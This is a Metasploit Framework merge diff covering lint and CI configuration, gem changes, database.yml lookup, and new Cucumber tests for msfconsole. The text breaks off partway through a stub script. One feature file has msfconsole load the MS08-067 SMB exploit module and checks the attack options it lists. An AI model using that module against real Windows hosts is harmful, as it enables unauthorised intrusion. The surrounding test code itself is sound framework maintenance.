Merge branch 'aruba-testing-with-updated-master' into aruba-testing
commit
794dc136f6
25
.rubocop.yml
25
.rubocop.yml
|
@ -39,6 +39,11 @@ Style/MethodLength:
|
||||||
often exceed 200 lines.
|
often exceed 200 lines.
|
||||||
Max: 300
|
Max: 300
|
||||||
|
|
||||||
|
# Basically everything in metasploit needs binary encoding, not UTF-8.
|
||||||
|
# Disable this here and enforce it through msftidy
|
||||||
|
Style/Encoding:
|
||||||
|
Enabled: false
|
||||||
|
|
||||||
Style/NumericLiterals:
|
Style/NumericLiterals:
|
||||||
Enabled: false
|
Enabled: false
|
||||||
Description: 'This often hurts readability for exploit-ish code.'
|
Description: 'This often hurts readability for exploit-ish code.'
|
||||||
|
@ -53,4 +58,22 @@ Style/StringLiterals:
|
||||||
|
|
||||||
Style/WordArray:
|
Style/WordArray:
|
||||||
Enabled: false
|
Enabled: false
|
||||||
Description: 'Metasploit prefers consistent use of []'
|
Description: 'Metasploit prefers consistent use of []'
|
||||||
|
|
||||||
|
Style/RedundantBegin:
|
||||||
|
Exclude:
|
||||||
|
# this pattern is very common and somewhat unavoidable
|
||||||
|
# def run_host(ip)
|
||||||
|
# begin
|
||||||
|
# ...
|
||||||
|
# rescue ...
|
||||||
|
# ...
|
||||||
|
# ensure
|
||||||
|
# disconnect
|
||||||
|
# end
|
||||||
|
# end
|
||||||
|
- 'modules/**/*'
|
||||||
|
|
||||||
|
Documentation:
|
||||||
|
Exclude:
|
||||||
|
- 'modules/**/*'
|
||||||
|
|
|
@ -1,3 +1,7 @@
|
||||||
|
env:
|
||||||
|
- RAKE_TASK=cucumber
|
||||||
|
- RAKE_TASK=cucumber:boot
|
||||||
|
- RAKE_TASK=spec
|
||||||
language: ruby
|
language: ruby
|
||||||
before_install:
|
before_install:
|
||||||
- rake --version
|
- rake --version
|
||||||
|
@ -14,6 +18,7 @@ before_script:
|
||||||
- bundle exec rake --version
|
- bundle exec rake --version
|
||||||
- bundle exec rake db:create
|
- bundle exec rake db:create
|
||||||
- bundle exec rake db:migrate
|
- bundle exec rake db:migrate
|
||||||
|
script: "bundle exec rake $RAKE_TASK"
|
||||||
|
|
||||||
rvm:
|
rvm:
|
||||||
#- '1.8.7'
|
#- '1.8.7'
|
||||||
|
@ -30,4 +35,4 @@ env:
|
||||||
- RAKE_TASK=features:boot
|
- RAKE_TASK=features:boot
|
||||||
- RAKE_TASK=spec
|
- RAKE_TASK=spec
|
||||||
|
|
||||||
script: "bundle exec rake $RAKE_TASK"
|
script: "bundle exec rake $RAKE_TASK"
|
||||||
|
|
8
Gemfile
8
Gemfile
|
@ -39,10 +39,6 @@ group :development, :test do
|
||||||
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
|
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
|
||||||
# environment is development
|
# environment is development
|
||||||
gem 'rspec-rails' , '>= 2.12', '< 3.0.0'
|
gem 'rspec-rails' , '>= 2.12', '< 3.0.0'
|
||||||
|
|
||||||
gem 'cucumber-rails', :require => false
|
|
||||||
|
|
||||||
gem 'aruba'
|
|
||||||
end
|
end
|
||||||
|
|
||||||
group :pcap do
|
group :pcap do
|
||||||
|
@ -52,6 +48,10 @@ group :pcap do
|
||||||
end
|
end
|
||||||
|
|
||||||
group :test do
|
group :test do
|
||||||
|
# cucumber extension for testing command line applications, like msfconsole
|
||||||
|
gem 'aruba'
|
||||||
|
# cucumber + automatic database cleaning with database_cleaner
|
||||||
|
gem 'cucumber-rails'
|
||||||
gem 'shoulda-matchers'
|
gem 'shoulda-matchers'
|
||||||
# code coverage for tests
|
# code coverage for tests
|
||||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||||
|
|
|
@ -51,7 +51,7 @@ GEM
|
||||||
arel (3.0.3)
|
arel (3.0.3)
|
||||||
arel-helpers (2.0.1)
|
arel-helpers (2.0.1)
|
||||||
activerecord (>= 3.1.0, < 5)
|
activerecord (>= 3.1.0, < 5)
|
||||||
aruba (0.6.0)
|
aruba (0.6.1)
|
||||||
childprocess (>= 0.3.6)
|
childprocess (>= 0.3.6)
|
||||||
cucumber (>= 1.1.1)
|
cucumber (>= 1.1.1)
|
||||||
rspec-expectations (>= 2.7.0)
|
rspec-expectations (>= 2.7.0)
|
||||||
|
@ -117,7 +117,7 @@ GEM
|
||||||
mime-types (1.25.1)
|
mime-types (1.25.1)
|
||||||
mini_portile (0.6.0)
|
mini_portile (0.6.0)
|
||||||
msgpack (0.5.8)
|
msgpack (0.5.8)
|
||||||
multi_json (1.0.4)
|
multi_json (1.0.3)
|
||||||
network_interface (0.0.1)
|
network_interface (0.0.1)
|
||||||
nokogiri (1.6.3.1)
|
nokogiri (1.6.3.1)
|
||||||
mini_portile (= 0.6.0)
|
mini_portile (= 0.6.0)
|
||||||
|
@ -196,7 +196,7 @@ GEM
|
||||||
treetop (1.4.15)
|
treetop (1.4.15)
|
||||||
polyglot
|
polyglot
|
||||||
polyglot (>= 0.3.1)
|
polyglot (>= 0.3.1)
|
||||||
tzinfo (0.3.40)
|
tzinfo (0.3.41)
|
||||||
xpath (2.0.0)
|
xpath (2.0.0)
|
||||||
nokogiri (~> 1.3)
|
nokogiri (~> 1.3)
|
||||||
yard (0.8.7.4)
|
yard (0.8.7.4)
|
||||||
|
|
|
@ -26,30 +26,14 @@ require 'action_view/railtie'
|
||||||
#
|
#
|
||||||
|
|
||||||
require 'metasploit/framework/common_engine'
|
require 'metasploit/framework/common_engine'
|
||||||
require 'msf/base/config'
|
require 'metasploit/framework/database'
|
||||||
|
|
||||||
module Metasploit
|
module Metasploit
|
||||||
module Framework
|
module Framework
|
||||||
class Application < Rails::Application
|
class Application < Rails::Application
|
||||||
include Metasploit::Framework::CommonEngine
|
include Metasploit::Framework::CommonEngine
|
||||||
|
|
||||||
environment_database_yaml = ENV['MSF_DATABASE_CONFIG']
|
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
|
||||||
|
|
||||||
if environment_database_yaml
|
|
||||||
# DO NOT check if the path exists: if the environment variable is set, then the user meant to use this path
|
|
||||||
# and if it doesn't exist then an error should occur so the user knows the environment variable points to a
|
|
||||||
# non-existent file.
|
|
||||||
config.paths['config/database'] = environment_database_yaml
|
|
||||||
else
|
|
||||||
user_config_root = Pathname.new(Msf::Config.get_config_root)
|
|
||||||
user_database_yaml = user_config_root.join('database.yml')
|
|
||||||
|
|
||||||
# DO check if the path exists as in test environments there may be no config root, in which case the normal
|
|
||||||
# rails location, `config/database.yml`, should contain the database config.
|
|
||||||
if user_database_yaml.exist?
|
|
||||||
config.paths['config/database'] = [user_database_yaml.to_path]
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,6 +1,10 @@
|
||||||
# config/cucumber.yml
|
<%
|
||||||
##YAML Template
|
rerun = File.file?('rerun.txt') ? IO.read('rerun.txt') : ""
|
||||||
---
|
rerun_opts = rerun.to_s.strip.empty? ? "--format #{ENV['CUCUMBER_FORMAT'] || 'progress'} features" : "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} #{rerun}"
|
||||||
<% common = "--tags ~@wip --strict --tags ~@targets" %>
|
std_opts = "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} --strict --tags ~@wip"
|
||||||
default: <%= common %> --tags ~@boot features
|
ignored_tags = "--tags ~@boot --tags ~@targets"
|
||||||
boot: <%= common %> --tags @boot features
|
%>
|
||||||
|
default: <%= std_opts %> <%= ignored_tags %> features
|
||||||
|
boot: <%= std_opts %> --tags @boot features
|
||||||
|
wip: --tags @wip:3 --wip features
|
||||||
|
rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip
|
||||||
|
|
|
@ -1,6 +1,9 @@
|
||||||
@msfconsole
|
|
||||||
Feature: Help command
|
Feature: Help command
|
||||||
|
|
||||||
|
Background:
|
||||||
|
Given I run `msfconsole` interactively
|
||||||
|
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
||||||
|
|
||||||
Scenario: The 'help' command's output
|
Scenario: The 'help' command's output
|
||||||
When I type "help"
|
When I type "help"
|
||||||
And I type "exit"
|
And I type "exit"
|
||||||
|
|
|
@ -1,160 +1,98 @@
|
||||||
@msfconsole
|
|
||||||
Feature: MS08-067 netapi
|
Feature: MS08-067 netapi
|
||||||
|
|
||||||
|
Background:
|
||||||
|
Given I run `msfconsole` interactively
|
||||||
|
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
||||||
|
|
||||||
Scenario: The MS08-067 Module should have the following options
|
Scenario: The MS08-067 Module should have the following options
|
||||||
When I type "use exploit/windows/smb/ms08_067_netapi"
|
When I type "use exploit/windows/smb/ms08_067_netapi"
|
||||||
And I type "show options"
|
And I type "show options"
|
||||||
And I type "exit"
|
And I type "exit"
|
||||||
Then the output should contain:
|
Then the output should contain the following:
|
||||||
"""
|
| Module options (exploit/windows/smb/ms08_067_netapi) |
|
||||||
Module options (exploit/windows/smb/ms08_067_netapi):
|
| Name Current Setting Required Description |
|
||||||
|
| ---- --------------- -------- ----------- |
|
||||||
Name Current Setting Required Description
|
| RHOST yes The target address |
|
||||||
---- --------------- -------- -----------
|
| RPORT 445 yes Set the SMB service port |
|
||||||
RHOST yes The target address
|
| RPORT 445 yes Set the SMB service port |
|
||||||
RPORT 445 yes Set the SMB service port
|
|
||||||
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
|
|
||||||
"""
|
|
||||||
|
|
||||||
Scenario: The MS08-067 Module should have the following advanced options
|
Scenario: The MS08-067 Module should have the following advanced options
|
||||||
When I type "use exploit/windows/smb/ms08_067_netapi"
|
When I type "use exploit/windows/smb/ms08_067_netapi"
|
||||||
And I type "show advanced"
|
And I type "show advanced"
|
||||||
And I type "exit"
|
And I type "exit"
|
||||||
Then the output should contain:
|
Then the output should contain the following:
|
||||||
"""
|
| Name : CHOST |
|
||||||
Module advanced options:
|
| Description : The local client address |
|
||||||
|
| Name : CPORT |
|
||||||
|
| Description : The local client port |
|
||||||
|
| Name : ConnectTimeout |
|
||||||
|
| Description : Maximum number of seconds to establish a TCP connection |
|
||||||
|
| Name : ContextInformationFile |
|
||||||
|
| Description : The information file that contains context information |
|
||||||
|
| Name : DCERPC::ReadTimeout |
|
||||||
|
| Description : The number of seconds to wait for DCERPC responses |
|
||||||
|
| Name : DisablePayloadHandler |
|
||||||
|
| Description : Disable the handler code for the selected payload |
|
||||||
|
| Name : EnableContextEncoding |
|
||||||
|
| Description : Use transient context when encoding payloads |
|
||||||
|
| Name : NTLM::SendLM |
|
||||||
|
| Description : Always send the LANMAN response (except when NTLMv2_session is |
|
||||||
|
| specified) |
|
||||||
|
| Name : NTLM::SendNTLM |
|
||||||
|
| Description : Activate the 'Negotiate NTLM key' flag, indicating the use of |
|
||||||
|
| NTLM responses |
|
||||||
|
| Name : NTLM::SendSPN |
|
||||||
|
| Current Setting: true |
|
||||||
|
| Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow |
|
||||||
|
| authentification on windows Seven/2008r2 when SPN is required |
|
||||||
|
| Name : NTLM::UseLMKey |
|
||||||
|
| Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key |
|
||||||
|
| when the LM response is sent |
|
||||||
|
| Name : NTLM::UseNTLM2_session |
|
||||||
|
| Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a |
|
||||||
|
| NTLMv2_session |
|
||||||
|
| Name : NTLM::UseNTLMv2 |
|
||||||
|
| Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key |
|
||||||
|
| is true |
|
||||||
|
# | Name : Proxies |
|
||||||
|
# | Description : Use a proxy chain |
|
||||||
|
| Name : SMB::ChunkSize |
|
||||||
|
| Current Setting: 500 |
|
||||||
|
| Description : The chunk size for SMB segments, bigger values will increase |
|
||||||
|
| speed but break NT 4.0 and SMB signing |
|
||||||
|
| Name : SMB::Native_LM |
|
||||||
|
| Description : The Native LM to send during authentication |
|
||||||
|
| Name : SMB::Native_OS |
|
||||||
|
| Description : The Native OS to send during authentication |
|
||||||
|
| Name : SMB::VerifySignature |
|
||||||
|
| Description : Enforces client-side verification of server response signatures |
|
||||||
|
| Name : SMBDirect |
|
||||||
|
| Description : The target port is a raw SMB service (not NetBIOS) |
|
||||||
|
| Name : SMBDomain |
|
||||||
|
| Description : The Windows domain to use for authentication |
|
||||||
|
| Name : SMBName |
|
||||||
|
| Description : The NetBIOS hostname (required for port 139 connections) |
|
||||||
|
| Name : SMBPass |
|
||||||
|
| Description : The password for the specified username |
|
||||||
|
| Name : SMBUser |
|
||||||
|
| Description : The username to authenticate as |
|
||||||
|
| Name : SSL |
|
||||||
|
| Description : Negotiate SSL for outgoing connections |
|
||||||
|
| Name : SSLCipher |
|
||||||
|
| Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH" |
|
||||||
|
| Name : SSLVerifyMode |
|
||||||
|
| Description : SSL verification method (accepted: CLIENT_ONCE, |
|
||||||
|
| FAIL_IF_NO_PEER_CERT, NONE, PEER) |
|
||||||
|
| Name : SSLVersion |
|
||||||
|
| Description : Specify the version of SSL that should be used (accepted: SSL2, |
|
||||||
|
| SSL3, TLS1) |
|
||||||
|
| Name : VERBOSE |
|
||||||
|
| Description : Enable detailed status messages |
|
||||||
|
| Name : WORKSPACE |
|
||||||
|
| Description : Specify the workspace for this module |
|
||||||
|
| Name : WfsDelay |
|
||||||
|
| Description : Additional delay when waiting for a session |
|
||||||
|
|
||||||
Name : CHOST
|
|
||||||
Current Setting:
|
|
||||||
Description : The local client address
|
|
||||||
|
|
||||||
Name : CPORT
|
|
||||||
Current Setting:
|
|
||||||
Description : The local client port
|
|
||||||
|
|
||||||
Name : ConnectTimeout
|
|
||||||
Current Setting: 10
|
|
||||||
Description : Maximum number of seconds to establish a TCP connection
|
|
||||||
|
|
||||||
Name : ContextInformationFile
|
|
||||||
Current Setting:
|
|
||||||
Description : The information file that contains context information
|
|
||||||
|
|
||||||
Name : DCERPC::ReadTimeout
|
|
||||||
Current Setting: 10
|
|
||||||
Description : The number of seconds to wait for DCERPC responses
|
|
||||||
|
|
||||||
Name : DisablePayloadHandler
|
|
||||||
Current Setting: false
|
|
||||||
Description : Disable the handler code for the selected payload
|
|
||||||
|
|
||||||
Name : EnableContextEncoding
|
|
||||||
Current Setting: false
|
|
||||||
Description : Use transient context when encoding payloads
|
|
||||||
|
|
||||||
Name : NTLM::SendLM
|
|
||||||
Current Setting: true
|
|
||||||
Description : Always send the LANMAN response (except when NTLMv2_session is
|
|
||||||
specified)
|
|
||||||
|
|
||||||
Name : NTLM::SendNTLM
|
|
||||||
Current Setting: true
|
|
||||||
Description : Activate the 'Negotiate NTLM key' flag, indicating the use of
|
|
||||||
NTLM responses
|
|
||||||
|
|
||||||
Name : NTLM::SendSPN
|
|
||||||
Current Setting: true
|
|
||||||
Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow
|
|
||||||
authentification on windows Seven/2008r2 when SPN is required
|
|
||||||
|
|
||||||
Name : NTLM::UseLMKey
|
|
||||||
Current Setting: false
|
|
||||||
Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key
|
|
||||||
when the LM response is sent
|
|
||||||
|
|
||||||
Name : NTLM::UseNTLM2_session
|
|
||||||
Current Setting: true
|
|
||||||
Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a
|
|
||||||
NTLMv2_session
|
|
||||||
|
|
||||||
Name : NTLM::UseNTLMv2
|
|
||||||
Current Setting: true
|
|
||||||
Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key
|
|
||||||
is true
|
|
||||||
|
|
||||||
Name : Proxies
|
|
||||||
Current Setting:
|
|
||||||
Description : Use a proxy chain
|
|
||||||
|
|
||||||
Name : SMB::ChunkSize
|
|
||||||
Current Setting: 500
|
|
||||||
Description : The chunk size for SMB segments, bigger values will increase
|
|
||||||
speed but break NT 4.0 and SMB signing
|
|
||||||
|
|
||||||
Name : SMB::Native_LM
|
|
||||||
Current Setting: Windows 2000 5.0
|
|
||||||
Description : The Native LM to send during authentication
|
|
||||||
|
|
||||||
Name : SMB::Native_OS
|
|
||||||
Current Setting: Windows 2000 2195
|
|
||||||
Description : The Native OS to send during authentication
|
|
||||||
|
|
||||||
Name : SMB::VerifySignature
|
|
||||||
Current Setting: false
|
|
||||||
Description : Enforces client-side verification of server response signatures
|
|
||||||
|
|
||||||
Name : SMBDirect
|
|
||||||
Current Setting: true
|
|
||||||
Description : The target port is a raw SMB service (not NetBIOS)
|
|
||||||
|
|
||||||
Name : SMBDomain
|
|
||||||
Current Setting: .
|
|
||||||
Description : The Windows domain to use for authentication
|
|
||||||
|
|
||||||
Name : SMBName
|
|
||||||
Current Setting: *SMBSERVER
|
|
||||||
Description : The NetBIOS hostname (required for port 139 connections)
|
|
||||||
|
|
||||||
Name : SMBPass
|
|
||||||
Current Setting:
|
|
||||||
Description : The password for the specified username
|
|
||||||
|
|
||||||
Name : SMBUser
|
|
||||||
Current Setting:
|
|
||||||
Description : The username to authenticate as
|
|
||||||
|
|
||||||
Name : SSL
|
|
||||||
Current Setting: false
|
|
||||||
Description : Negotiate SSL for outgoing connections
|
|
||||||
|
|
||||||
Name : SSLCipher
|
|
||||||
Current Setting:
|
|
||||||
Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
|
|
||||||
|
|
||||||
Name : SSLVerifyMode
|
|
||||||
Current Setting: PEER
|
|
||||||
Description : SSL verification method (accepted: CLIENT_ONCE,
|
|
||||||
FAIL_IF_NO_PEER_CERT, NONE, PEER)
|
|
||||||
|
|
||||||
Name : SSLVersion
|
|
||||||
Current Setting: SSL3
|
|
||||||
Description : Specify the version of SSL that should be used (accepted: SSL2,
|
|
||||||
SSL3, TLS1)
|
|
||||||
|
|
||||||
Name : VERBOSE
|
|
||||||
Current Setting: false
|
|
||||||
Description : Enable detailed status messages
|
|
||||||
|
|
||||||
Name : WORKSPACE
|
|
||||||
Current Setting:
|
|
||||||
Description : Specify the workspace for this module
|
|
||||||
|
|
||||||
Name : WfsDelay
|
|
||||||
Current Setting: 0
|
|
||||||
Description : Additional delay when waiting for a session
|
|
||||||
"""
|
|
||||||
|
|
||||||
@msfconsole
|
|
||||||
@targets
|
@targets
|
||||||
Scenario: Show RHOST/etc variable expansion from a config file
|
Scenario: Show RHOST/etc variable expansion from a config file
|
||||||
When I type "use exploit/windows/smb/ms08_067_netapi"
|
When I type "use exploit/windows/smb/ms08_067_netapi"
|
||||||
|
@ -165,5 +103,3 @@ Feature: MS08-067 netapi
|
||||||
And I type "exit"
|
And I type "exit"
|
||||||
And I type "exit"
|
And I type "exit"
|
||||||
Then the output should match /spider-wxp/
|
Then the output should match /spider-wxp/
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -1,47 +0,0 @@
|
||||||
@boot
|
|
||||||
Feature: Launching `msfconsole`
|
|
||||||
|
|
||||||
@no-database-yml
|
|
||||||
Scenario: Starting `msfconsole` without a database.yml
|
|
||||||
Given I run `msfconsole` interactively
|
|
||||||
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
|
||||||
When I type "db_status"
|
|
||||||
And I type "exit"
|
|
||||||
Then the output should contain "[*] postgresql selected, no connection"
|
|
||||||
|
|
||||||
@no-database-yml
|
|
||||||
Scenario: Starting `msfconsole` with an invalid database.yml
|
|
||||||
Given a file named "database.yml" with:
|
|
||||||
"""
|
|
||||||
development: &pgsql
|
|
||||||
adapter: postgresql
|
|
||||||
database: metasploit_framework_development
|
|
||||||
username: postgres
|
|
||||||
port: 6543
|
|
||||||
pool: 5
|
|
||||||
timeout: 5
|
|
||||||
production:
|
|
||||||
<<: *pgsql
|
|
||||||
test:
|
|
||||||
<<: *pgsql
|
|
||||||
database: metasploit_framework_test
|
|
||||||
"""
|
|
||||||
Given I run `msfconsole -y database.yml` interactively
|
|
||||||
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
|
||||||
When I type "db_status"
|
|
||||||
And I type "exit"
|
|
||||||
Then the output should contain "[-] Failed to connect to the database: could not connect to server"
|
|
||||||
Then the output should contain "[*] postgresql selected, no connection"
|
|
||||||
|
|
||||||
Scenario: Starting `msfconsole` with a valid database.yml
|
|
||||||
Given I run `msfconsole` interactively
|
|
||||||
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
|
||||||
When I type "db_status"
|
|
||||||
And I type "exit"
|
|
||||||
Then the output should contain "[*] postgresql connected to metasploit_framework_test"
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,167 @@
|
||||||
|
@boot
|
||||||
|
Feature: `msfconsole` `database.yml`
|
||||||
|
|
||||||
|
In order to connect to the database in `msfconsole`
|
||||||
|
As a user calling `msfconsole` from a terminal
|
||||||
|
I want to be able to set the path of the `database.yml` in one of 4 locations (in order of precedence):
|
||||||
|
|
||||||
|
1. An explicit argument to the `-y` flag to `msfconsole`
|
||||||
|
2. The MSF_DATABASE_CONFIG environment variable
|
||||||
|
3. The user's `~/.msf4/database.yml`
|
||||||
|
4. `config/database.yml` in the metasploit-framework checkout location.
|
||||||
|
|
||||||
|
Scenario: With all 4 locations, --yaml wins
|
||||||
|
Given a file named "command_line.yml" with:
|
||||||
|
"""
|
||||||
|
test:
|
||||||
|
adapter: postgresql
|
||||||
|
database: command_line_metasploit_framework_test
|
||||||
|
username: command_line_metasploit_framework_test
|
||||||
|
"""
|
||||||
|
And a file named "msf_database_config.yml" with:
|
||||||
|
"""
|
||||||
|
test:
|
||||||
|
adapter: postgresql
|
||||||
|
database: environment_metasploit_framework_test
|
||||||
|
username: environment_metasploit_framework_test
|
||||||
|
"""
|
||||||
|
And I set the environment variables to:
|
||||||
|
| variable | value |
|
||||||
|
| MSF_DATABASE_CONFIG | msf_database_config.yml |
|
||||||
|
And a directory named "home"
|
||||||
|
And I cd to "home"
|
||||||
|
And a mocked home directory
|
||||||
|
And a directory named ".msf4"
|
||||||
|
And I cd to ".msf4"
|
||||||
|
And a file named "database.yml" with:
|
||||||
|
"""
|
||||||
|
test:
|
||||||
|
adapter: postgresql
|
||||||
|
database: user_metasploit_framework_test
|
||||||
|
username: user_metasploit_framework_test
|
||||||
|
"""
|
||||||
|
And I cd to "../.."
|
||||||
|
And the project "database.yml" exists with:
|
||||||
|
"""
|
||||||
|
test:
|
||||||
|
adapter: postgresql
|
||||||
|
database: project_metasploit_framework_test
|
||||||
|
username: project_metasploit_framework_test
|
||||||
|
"""
|
||||||
|
When I run `msfconsole --environment test --yaml command_line.yml` interactively
|
||||||
|
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
||||||
|
And I type "exit"
|
||||||
|
Then the output should contain "command_line_metasploit_framework_test"
|
||||||
|
|
||||||
|
Scenario: Without --yaml, MSF_DATABASE_CONFIG wins
|
||||||
|
Given a file named "msf_database_config.yml" with:
|
||||||
|
"""
|
||||||
|
test:
|
||||||
|
adapter: postgresql
|
||||||
|
database: environment_metasploit_framework_test
|
||||||
|
username: environment_metasploit_framework_test
|
||||||
|
"""
|
||||||
|
And I set the environment variables to:
|
||||||
|
| variable | value |
|
||||||
|
| MSF_DATABASE_CONFIG | msf_database_config.yml |
|
||||||
|
And a directory named "home"
|
||||||
|
And I cd to "home"
|
||||||
|
And a mocked home directory
|
||||||
|
And a directory named ".msf4"
|
||||||
|
And I cd to ".msf4"
|
||||||
|
And a file named "database.yml" with:
|
||||||
|
"""
|
||||||
|
test:
|
||||||
|
adapter: postgresql
|
||||||
|
database: user_metasploit_framework_test
|
||||||
|
username: user_metasploit_framework_test
|
||||||
|
"""
|
||||||
|
And I cd to "../.."
|
||||||
|
And the project "database.yml" exists with:
|
||||||
|
"""
|
||||||
|
test:
|
||||||
|
adapter: postgresql
|
||||||
|
database: project_metasploit_framework_test
|
||||||
|
username: project_metasploit_framework_test
|
||||||
|
"""
|
||||||
|
When I run `msfconsole --environment test` interactively
|
||||||
|
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
||||||
|
And I type "exit"
|
||||||
|
Then the output should contain "environment_metasploit_framework_test"
|
||||||
|
|
||||||
|
Scenario: Without --yaml or MSF_DATABASE_CONFIG, ~/.msf4/database.yml wins
|
||||||
|
Given I unset the environment variables:
|
||||||
|
| variable |
|
||||||
|
| MSF_DATABASE_CONFIG |
|
||||||
|
And a directory named "home"
|
||||||
|
And I cd to "home"
|
||||||
|
And a mocked home directory
|
||||||
|
And a directory named ".msf4"
|
||||||
|
And I cd to ".msf4"
|
||||||
|
And a file named "database.yml" with:
|
||||||
|
"""
|
||||||
|
test:
|
||||||
|
adapter: postgresql
|
||||||
|
database: user_metasploit_framework_test
|
||||||
|
username: user_metasploit_framework_test
|
||||||
|
"""
|
||||||
|
And I cd to "../.."
|
||||||
|
And the project "database.yml" exists with:
|
||||||
|
"""
|
||||||
|
test:
|
||||||
|
adapter: postgresql
|
||||||
|
database: project_metasploit_framework_test
|
||||||
|
username: project_metasploit_framework_test
|
||||||
|
"""
|
||||||
|
When I run `msfconsole --environment test` interactively
|
||||||
|
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
||||||
|
And I type "exit"
|
||||||
|
Then the output should contain "user_metasploit_framework_test"
|
||||||
|
|
||||||
|
Scenario: Without --yaml, MSF_DATABASE_CONFIG or ~/.msf4/database.yml, project "database.yml" wins
|
||||||
|
Given I unset the environment variables:
|
||||||
|
| variable |
|
||||||
|
| MSF_DATABASE_CONFIG |
|
||||||
|
And a directory named "home"
|
||||||
|
And I cd to "home"
|
||||||
|
And a mocked home directory
|
||||||
|
And I cd to "../.."
|
||||||
|
And the project "database.yml" exists with:
|
||||||
|
"""
|
||||||
|
test:
|
||||||
|
adapter: postgresql
|
||||||
|
database: project_metasploit_framework_test
|
||||||
|
username: project_metasploit_framework_test
|
||||||
|
"""
|
||||||
|
When I run `msfconsole --environment test` interactively
|
||||||
|
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
||||||
|
And I type "exit"
|
||||||
|
Then the output should contain "project_metasploit_framework_test"
|
||||||
|
|
||||||
|
|
||||||
|
Scenario: Without --yaml, MSF_DATABASE_CONFIG, ~/.msf4/database.yml, or project "database.yml", no database connection
|
||||||
|
Given I unset the environment variables:
|
||||||
|
| variable |
|
||||||
|
| MSF_DATABASE_CONFIG |
|
||||||
|
And a directory named "home"
|
||||||
|
And I cd to "home"
|
||||||
|
And a mocked home directory
|
||||||
|
And I cd to "../.."
|
||||||
|
And the project "database.yml" does not exist
|
||||||
|
When I run `msfconsole --environment test` interactively
|
||||||
|
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
||||||
|
And I type "db_status"
|
||||||
|
And I type "exit"
|
||||||
|
Then the output should not contain "command_line_metasploit_framework_test"
|
||||||
|
And the output should not contain "environment_metasploit_framework_test"
|
||||||
|
And the output should not contain "user_metasploit_framework_test"
|
||||||
|
And the output should not contain "project_metasploit_framework_test"
|
||||||
|
And the output should contain "[*] postgresql selected, no connection"
|
||||||
|
|
||||||
|
Scenario: Starting `msfconsole` with a valid database.yml
|
||||||
|
Given I run `msfconsole` interactively
|
||||||
|
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
||||||
|
When I type "db_status"
|
||||||
|
And I type "exit"
|
||||||
|
Then the output should contain "[*] postgresql connected to metasploit_framework_test"
|
||||||
|
|
|
@ -0,0 +1,5 @@
|
||||||
|
Then /^the output should contain the following:$/ do |table|
|
||||||
|
table.raw.flatten.each do |expected|
|
||||||
|
assert_partial_output(expected, all_output)
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,20 @@
|
||||||
|
Given /^I unset the environment variables:$/ do |table|
|
||||||
|
table.hashes.each do |row|
|
||||||
|
variable = row['variable'].to_s.upcase
|
||||||
|
|
||||||
|
# @todo add extension to Announcer
|
||||||
|
announcer.instance_eval do
|
||||||
|
if @options[:env]
|
||||||
|
print "$ unset #{variable}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
current_value = ENV.delete(variable)
|
||||||
|
|
||||||
|
# if original_env already has the key, then the true original was already recorded from a previous unset or set,
|
||||||
|
# so don't record the current value as it will cause ENV not to be restored after the Scenario.
|
||||||
|
unless original_env.key? variable
|
||||||
|
original_env[variable] = current_value
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,14 @@
|
||||||
|
require 'metasploit/framework/database/cucumber'
|
||||||
|
|
||||||
|
Given /^the project "database.yml" does not exist$/ do
|
||||||
|
Metasploit::Framework::Database::Cucumber.backup_project_configurations
|
||||||
|
end
|
||||||
|
|
||||||
|
Given /^the project "database.yml" exists with:$/ do |file_content|
|
||||||
|
Metasploit::Framework::Database::Cucumber.backup_project_configurations
|
||||||
|
write_file(Metasploit::Framework::Database::Cucumber.project_configurations_path, file_content)
|
||||||
|
end
|
||||||
|
|
||||||
|
After do
|
||||||
|
Metasploit::Framework::Database::Cucumber.restore_project_configurations
|
||||||
|
end
|
|
@ -0,0 +1,26 @@
|
||||||
|
#!/usr/bin/env ruby
|
||||||
|
|
||||||
|
case ARGV[0]
|
||||||
|
when 'size'
|
||||||
|
puts "30 134"
|
||||||
|
when '-a'
|
||||||
|
puts <<EOS
|
||||||
|
speed 38400 baud; 30 rows; 134 columns;
|
||||||
|
